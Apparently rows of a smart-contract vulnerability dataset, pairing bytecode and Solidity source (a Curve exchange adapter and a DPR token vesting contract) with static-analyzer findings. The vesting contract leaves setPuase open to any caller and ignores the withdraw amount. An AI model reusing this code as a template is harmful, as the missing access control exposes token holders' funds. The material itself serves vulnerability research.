615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a72305820b08568b9e9451117ac50c9e1ec74e45db643d5da5b2ca989f2527ccd1c8ea61f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,949 |
0x8da0a907a1bdbb440d1fdb450672a8c003bc4f3a | pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;
struct FullAbsoluteTokenAmount {
AbsoluteTokenAmountMeta base;
AbsoluteTokenAmountMeta[] underlying;
}
struct AbsoluteTokenAmountMeta {
AbsoluteTokenAmount absoluteTokenAmount;
ERC20Metadata erc20metadata;
}
struct ERC20Metadata {
string name;
string symbol;
uint8 decimals;
}
struct AdapterBalance {
bytes32 protocolAdapterName;
AbsoluteTokenAmount[] absoluteTokenAmounts;
}
struct AbsoluteTokenAmount {
address token;
uint256 amount;
}
struct Component {
address token;
uint256 rate;
}
struct TransactionData {
Action[] actions;
TokenAmount[] inputs;
Fee fee;
AbsoluteTokenAmount[] requiredOutputs;
uint256 nonce;
}
struct Action {
bytes32 protocolAdapterName;
ActionType actionType;
TokenAmount[] tokenAmounts;
bytes data;
}
struct TokenAmount {
address token;
uint256 amount;
AmountType amountType;
}
struct Fee {
uint256 share;
address beneficiary;
}
enum ActionType { None, Deposit, Withdraw }
enum AmountType { None, Relative, Absolute }
abstract contract ProtocolAdapter {
/**
* @dev MUST return amount and type of the given token
* locked on the protocol by the given account.
*/
function getBalance(
address token,
address account
)
public
view
virtual
returns (uint256);
}
contract CurveExchangeAdapter is ProtocolAdapter {
/**
* @notice This function is unavailable for exchange adapter.
* @dev Implementation of ProtocolAdapter abstract contract function.
*/
function getBalance(
address,
address
)
public
pure
override
returns (uint256)
{
revert("CEA: no balance");
}
}
abstract contract InteractiveAdapter is ProtocolAdapter {
uint256 internal constant DELIMITER = 1e18;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev The function must deposit assets to the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function deposit(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
virtual
returns (address[] memory);
/**
* @dev The function must withdraw assets from the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function withdraw(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
virtual
returns (address[] memory);
function getAbsoluteAmountDeposit(
TokenAmount calldata tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance;
if (token == ETH) {
balance = address(this).balance;
} else {
balance = ERC20(token).balanceOf(address(this));
}
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function getAbsoluteAmountWithdraw(
TokenAmount calldata tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance = getBalance(token, address(this));
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "IA: mul overflow");
return c;
}
}
contract CurveExchangeInteractiveAdapter is CurveExchangeAdapter, InteractiveAdapter {
using SafeERC20 for ERC20;
/**
* @notice Exchanges tokens using the given swap contract.
* @param tokenAmounts Array with one element - TokenAmount struct with
* "from" token address, "from" token amount to be deposited, and amount type.
* @param data Token address to be exchanged to (ABI-encoded).
* @param data ABI-encoded additional parameters:
* - toToken - destination token address (one of those used in swap).
* - swap - swap address.
* - i - input token index.
* - j - destination token index.this
* - useUnderlying - true if swap_underlying() function should be called,
* else swap() function will be called.
* @dev Implementation of InteractiveAdapter function.
*/
function deposit(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 1, "CEIA: should be 1 token");
address token = tokenAmounts[0].token;
uint256 amount = getAbsoluteAmountDeposit(tokenAmounts[0]);
(address toToken, address swap, int128 i, int128 j, bool useUnderlying) = abi.decode(
data,
(address, address, int128, int128, bool)
);
tokensToBeWithdrawn = new address[](1);
tokensToBeWithdrawn[0] = toToken;
uint256 allowance = ERC20(token).allowance(address(this), swap);
if (allowance < amount) {
if (allowance > 0) {
ERC20(token).safeApprove(swap, 0, "CEIA[1]");
}
ERC20(token).safeApprove(swap, type(uint256).max, "CEIA[2]");
}
// solhint-disable-next-line no-empty-blocks
if (useUnderlying) {
try Stableswap(swap).exchange_underlying(i, j, amount, 0) {
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("CEIA: deposit fail[1]");
}
} else {
try Stableswap(swap).exchange(i, j, amount, 0) {
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("CEIA: deposit fail[2]");
}
}
}
/**
* @notice Withdraw functionality is not supported.
* @dev Implementation of InteractiveAdapter function.
*/
function withdraw(
TokenAmount[] calldata,
bytes calldata
)
external
payable
override
returns (address[] memory)
{
revert("CEIA: no withdraw");
}
}
interface Stableswap {
/* solhint-disable-next-line func-name-mixedcase */
function exchange_underlying(int128, int128, uint256, uint256) external;
function exchange(int128, int128, uint256, uint256) external;
function coins(int128) external view returns (address);
function coins(uint256) external view returns (address);
function balances(int128) external view returns (uint256);
function balances(uint256) external view returns (uint256);
}
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
}
library SafeERC20 {
function safeTransfer(
ERC20 token,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transfer.selector,
to,
value
),
"transfer",
location
);
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transferFrom.selector,
from,
to,
value
),
"transferFrom",
location
);
}
function safeApprove(
ERC20 token,
address spender,
uint256 value,
string memory location
)
internal
{
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: bad approve call"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
value
),
"approve",
location
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract),
* relaxing the requirement on the return value: the return value is optional
* (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
* @param location Location of the call (for debug).
*/
function callOptionalReturn(
ERC20 token,
bytes memory data,
string memory functionName,
string memory location
)
private
{
// We need to perform a low level call here, to bypass Solidity's return data size checking
// mechanism, since we're implementing it ourselves.
// We implement two-steps call as callee is a contract is a responsibility of a caller.
// 1. The call itself is made, and success asserted
// 2. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(
success,
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" failed in ",
location
)
)
);
if (returndata.length > 0) { // Return data is optional
require(
abi.decode(returndata, (bool)),
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" returned false in ",
location
)
)
);
}
}
}
| 0x6080604052600436106100345760003560e01c806328ffb83d14610039578063387b817414610062578063d4fac45d14610075575b600080fd5b61004c610047366004610b87565b6100a2565b6040516100599190610e22565b60405180910390f35b61004c610070366004610b87565b6104f5565b34801561008157600080fd5b50610095610090366004610b4f565b610529565b60405161005991906110df565b6060600184146100e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fcc565b60405180910390fd5b6000858560008181106100f657fe5b61010c9260206060909202019081019150610ac5565b9050600061012b8787600081811061012057fe5b90506060020161055d565b905060008080808061013f898b018b610ae1565b604080516001808252818301909252959a509398509196509450925060208083019080368337019050509750848860008151811061017957fe5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815260009189169063dd62ed3e906101de9030908990600401610dd5565b60206040518083038186803b1580156101f657600080fd5b505afa15801561020a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061022e9190610c7e565b9050868110156103115780156102985760408051808201909152600781527f434549415b315d0000000000000000000000000000000000000000000000000060208201526102989073ffffffffffffffffffffffffffffffffffffffff8a16908790600090610769565b60408051808201909152600781527f434549415b325d0000000000000000000000000000000000000000000000000060208201526103119073ffffffffffffffffffffffffffffffffffffffff8a169087907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90610769565b811561041d576040517fa6417ed600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86169063a6417ed69061037090879087908c90600090600401610e7c565b600060405180830381600087803b15801561038a57600080fd5b505af192505050801561039b575060015b610418576103a761111a565b806103b257506103e6565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610e9f565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611003565b6104e5565b6040517f3df0212400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff861690633df021249061047690879087908c90600090600401610e7c565b600060405180830381600087803b15801561049057600080fd5b505af19250505080156104a1575060015b6104e5576104ad61111a565b806103b257506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f95565b5050505050505050949350505050565b60606040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610ef0565b60006040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9061103a565b60008061056d6020840184610ac5565b9050602083013560006105866060860160408701610c5f565b9050600181600281111561059657fe5b14806105ad575060028160028111156105ab57fe5b145b6105e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f27565b60018160028111156105f157fe5b141561075a57670de0b6b3a7640000821115610639576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f5e565b600073ffffffffffffffffffffffffffffffffffffffff841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610674575047610719565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906370a08231906106c6903090600401610db4565b60206040518083038186803b1580156106de57600080fd5b505afa1580156106f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107169190610c7e565b90505b670de0b6b3a764000083141561073457935061076492505050565b670de0b6b3a7640000610747828561090b565b8161074e57fe5b04945050505050610764565b5091506107649050565b919050565b81158061081757506040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063dd62ed3e906107c59030908790600401610dd5565b60206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108159190610c7e565b155b61084d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de906110a8565b6109058463095ea7b360e01b858560405160240161086c929190610dfc565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060400160405280600781526020017f617070726f76650000000000000000000000000000000000000000000000000081525084610968565b50505050565b60008261091a57506000610962565b8282028284828161092757fe5b041461095f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611071565b90505b92915050565b600060608573ffffffffffffffffffffffffffffffffffffffff16856040516109919190610c96565b6000604051808303816000865af19150503d80600081146109ce576040519150601f19603f3d011682016040523d82523d6000602084013e6109d3565b606091505b50915091508184846040516020016109ec929190610d33565b60405160208183030381529060405290610a33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610e9f565b50805115610aab5780806020019051810190610a4f9190610c43565b8484604051602001610a62929190610cb2565b60405160208183030381529060405290610aa9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610e9f565b505b505050505050565b8035600f81900b811461096257600080fd5b600060208284031215610ad6578081fd5b813561095f816111fc565b600080600080600060a08688031215610af8578081fd5b8535610b03816111fc565b94506020860135610b13816111fc565b9350610b228760408801610ab3565b9250610b318760608801610ab3565b91506080860135610b4181611221565b809150509295509295909350565b60008060408385031215610b61578182fd5b8235610b6c816111fc565b91506020830135610b7c816111fc565b809150509250929050565b60008060008060408587031215610b9c578384fd5b843567ffffffffffffffff80821115610bb3578586fd5b818701915087601f830112610bc6578586fd5b813581811115610bd4578687fd5b886020606083028501011115610be8578687fd5b602092830196509450908601359080821115610c02578384fd5b818701915087601f830112610c15578384fd5b813581811115610c23578485fd5b886020828501011115610c34578485fd5b95989497505060200194505050565b600060208284031215610c54578081fd5b815161095f81611221565b600060208284031215610c70578081fd5b81356003811061095f578182fd5b600060208284031215610c8f578081fd5b5051919050565b60008251610ca88184602087016110e8565b9190910192915050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610cea81600b8501602088016110e8565b7f2072657475726e65642066616c736520696e2000000000000000000000000000600b918401918201528351610d2781601e8401602088016110e8565b01601e01949350505050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610d6b81600b8501602088016110e8565b7f206661696c656420696e20000000000000000000000000000000000000000000600b918401918201528351610da88160168401602088016110e8565b01601601949350505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015610e7057835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101610e3e565b50909695505050505050565b600f94850b81529290930b60208301526040820152606081019190915260800190565b6000602082528251806020840152610ebe8160408501602087016110e8565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526011908201527f434549413a206e6f207769746864726177000000000000000000000000000000604082015260600190565b60208082526013908201527f49413a2062616420616d6f756e74207479706500000000000000000000000000604082015260600190565b6020808252600e908201527f49413a2062616420616d6f756e74000000000000000000000000000000000000604082015260600190565b60208082526015908201527f434549413a206465706f736974206661696c5b325d0000000000000000000000604082015260600190565b60208082526017908201527f434549413a2073686f756c64206265203120746f6b656e000000000000000000604082015260600190565b60208082526015908201527f434549413a206465706f736974206661696c5b315d0000000000000000000000604082015260600190565b6020808252600f908201527f4345413a206e6f2062616c616e63650000000000000000000000000000000000604082015260600190565b60208082526010908201527f49413a206d756c206f766572666c6f7700000000000000000000000000000000604082015260600190565b6020808252601b908201527f5361666545524332303a2062616420617070726f76652063616c6c0000000000604082015260600190565b90815260200190565b60005b838110156111035781810151838201526020016110eb565b838111156109055750506000910152565b60e01c90565b600060443d101561112a576111f9565b600481823e6308c379a061113e8251611114565b14611148576111f9565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3d016004823e80513d67ffffffffffffffff816024840111818411171561119657505050506111f9565b828401925082519150808211156111b057505050506111f9565b503d830160208284010111156111c8575050506111f9565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01681016020016040529150505b90565b73ffffffffffffffffffffffffffffffffffffffff8116811461121e57600080fd5b50565b801515811461121e57600080fdfea26469706673582212204415fe0d74cb1833f259b0526df57e886f3145bd3f900c9b797ec1ed49076c6e64736f6c63430007010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,950 |
0x179c98E6620a3A5c7A5bf46fF1e0FEf62DC385a8 | /**
*Submitted for verification at Etherscan.io on 2021-07-31
*/
pragma solidity ^0.5.12;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//TODO add safemath
interface IDPR {
function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool);
function transfer(address _to, uint256 _amount) external returns(bool);
function balanceOf(address _owner) external view returns(uint256);
}
contract Claim {
using SafeMath for uint256;
IDPR public dpr;
//system info
address public owner;
uint256 public total_release_periods = 212;
uint256 public start_time = 1627776000; //2021 年 05 月 10 日 08:00
bool public pause = true;
// uer info
mapping(address=>uint256) public total_lock_amount;
mapping(address=>uint256) public release_per_period;
mapping(address=>uint256) public user_released;
//=====events=======
event claim(address _addr, uint256 _amount);
event distribute(address _addr, uint256 _amount);
event OwnerTransfer(address _newOwner);
//====modifiers====
modifier onlyOwner(){
require(owner == msg.sender, "MerkleClaim: Not Owner");
_;
}
modifier whenNotPaused(){
require(pause == false, "MerkleClaim: Pause");
_;
}
constructor(address _token) public {
dpr = IDPR(_token);
owner = msg.sender;
}
function transferOwnerShip(address _newOwner) onlyOwner external {
require(_newOwner != address(0), "MerkleClaim: Wrong owner");
owner = _newOwner;
emit OwnerTransfer(_newOwner);
}
function distributeAndLock(address _addr, uint256 _amount) external onlyOwner{
lockTokens(_addr, _amount);
emit distribute(_addr, _amount);
}
function lockTokens(address _addr, uint256 _amount) private{
total_lock_amount[_addr] = _amount;
release_per_period[_addr] = _amount.div(total_release_periods);
}
function setPuase(bool is_pause) external {
pause = is_pause;
}
function claimTokens() whenNotPaused external {
require(total_lock_amount[msg.sender] != 0, "User does not have lock record");
require(total_lock_amount[msg.sender].sub(user_released[msg.sender]) > 0, "all token has been claimed");
uint256 periods = block.timestamp.sub(start_time).div(1 days);
uint256 total_release_amount = release_per_period[msg.sender].mul(periods);
if(total_release_amount >= total_lock_amount[msg.sender]){
total_release_amount = total_lock_amount[msg.sender];
}
uint256 release_amount = total_release_amount.sub(user_released[msg.sender]);
// update user info
user_released[msg.sender] = total_release_amount;
require(dpr.balanceOf(address(this)) >= release_amount, "MerkleClaim: Balance not enough");
require(dpr.transfer(msg.sender, release_amount), "MerkleClaim: Transfer Failed");
emit claim(msg.sender, release_amount);
}
function unreleased(address user) external view returns(uint256){
return total_lock_amount[user].sub(user_released[user]);
}
function withdraw(address _to, uint256 _amount) external onlyOwner{
require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer Failed");
}
function pullTokens(uint256 _amount) external onlyOwner{
require(dpr.transferFrom(owner, address(this), _amount), "MerkleClaim: TransferFrom failed");
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063834ee41711610097578063a532784e11610066578063a532784e14610258578063c7fef17e14610284578063f3fef3a31461028c578063f63013aa146102b8576100f5565b8063834ee417146101ea5780638456cb59146101f25780638863dd1a1461020e5780638da5cb5b14610234576100f5565b806356d6e72d116100d357806356d6e72d14610162578063621f7b0a146101885780637d3503d7146101ae5780637e0db6cc146101cd576100f5565b8063118df67e146100fa5780632a67293d1461013257806348c54b9d14610158575b600080fd5b6101206004803603602081101561011057600080fd5b50356001600160a01b03166102c0565b60408051918252519081900360200190f35b6101206004803603602081101561014857600080fd5b50356001600160a01b03166102d2565b61016061030b565b005b6101206004803603602081101561017857600080fd5b50356001600160a01b03166106be565b6101206004803603602081101561019e57600080fd5b50356001600160a01b03166106d0565b610160600480360360208110156101c457600080fd5b503515156106e2565b610160600480360360208110156101e357600080fd5b50356106f5565b61012061082f565b6101fa610835565b604080519115158252519081900360200190f35b6101606004803603602081101561022457600080fd5b50356001600160a01b031661083e565b61023c610945565b604080516001600160a01b039092168252519081900360200190f35b6101606004803603604081101561026e57600080fd5b506001600160a01b038135169060200135610954565b6101206109fe565b610160600480360360408110156102a257600080fd5b506001600160a01b038135169060200135610a04565b61023c610bac565b60056020526000908152604090205481565b6001600160a01b03811660009081526007602090815260408083205460059092528220546103059163ffffffff610bbb16565b92915050565b60045460ff1615610358576040805162461bcd60e51b81526020600482015260126024820152714d65726b6c65436c61696d3a20506175736560701b604482015290519081900360640190fd5b336000908152600560205260409020546103b9576040805162461bcd60e51b815260206004820152601e60248201527f5573657220646f6573206e6f742068617665206c6f636b207265636f72640000604482015290519081900360640190fd5b3360009081526007602090815260408083205460059092528220546103e39163ffffffff610bbb16565b11610435576040805162461bcd60e51b815260206004820152601a60248201527f616c6c20746f6b656e20686173206265656e20636c61696d6564000000000000604482015290519081900360640190fd5b600061045f6201518061045360035442610bbb90919063ffffffff16565b9063ffffffff610c0416565b3360009081526006602052604081205491925090610483908363ffffffff610c4616565b3360009081526005602052604090205490915081106104ae5750336000908152600560205260409020545b336000908152600760205260408120546104cf90839063ffffffff610bbb16565b336000908152600760209081526040808320869055915482516370a0823160e01b8152306004820152925193945084936001600160a01b03909116926370a08231926024808301939192829003018186803b15801561052d57600080fd5b505afa158015610541573d6000803e3d6000fd5b505050506040513d602081101561055757600080fd5b505110156105ac576040805162461bcd60e51b815260206004820152601f60248201527f4d65726b6c65436c61696d3a2042616c616e6365206e6f7420656e6f75676800604482015290519081900360640190fd5b600080546040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b15801561060157600080fd5b505af1158015610615573d6000803e3d6000fd5b505050506040513d602081101561062b57600080fd5b505161067e576040805162461bcd60e51b815260206004820152601c60248201527f4d65726b6c65436c61696d3a205472616e73666572204661696c656400000000604482015290519081900360640190fd5b604080513381526020810183905281517faad3ec96b23739e5c653e387e24c59f5fc4a0724c18ad1970feb0d1444981fac929181900390910190a1505050565b60066020526000908152604090205481565b60076020526000908152604090205481565b6004805460ff1916911515919091179055565b6001546001600160a01b0316331461074d576040805162461bcd60e51b815260206004820152601660248201527526b2b935b632a1b630b4b69d102737ba1027bbb732b960511b604482015290519081900360640190fd5b60008054600154604080516323b872dd60e01b81526001600160a01b03928316600482015230602482015260448101869052905191909216926323b872dd92606480820193602093909283900390910190829087803b1580156107af57600080fd5b505af11580156107c3573d6000803e3d6000fd5b505050506040513d60208110156107d957600080fd5b505161082c576040805162461bcd60e51b815260206004820181905260248201527f4d65726b6c65436c61696d3a205472616e7366657246726f6d206661696c6564604482015290519081900360640190fd5b50565b60035481565b60045460ff1681565b6001546001600160a01b03163314610896576040805162461bcd60e51b815260206004820152601660248201527526b2b935b632a1b630b4b69d102737ba1027bbb732b960511b604482015290519081900360640190fd5b6001600160a01b0381166108f1576040805162461bcd60e51b815260206004820152601860248201527f4d65726b6c65436c61696d3a2057726f6e67206f776e65720000000000000000604482015290519081900360640190fd5b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918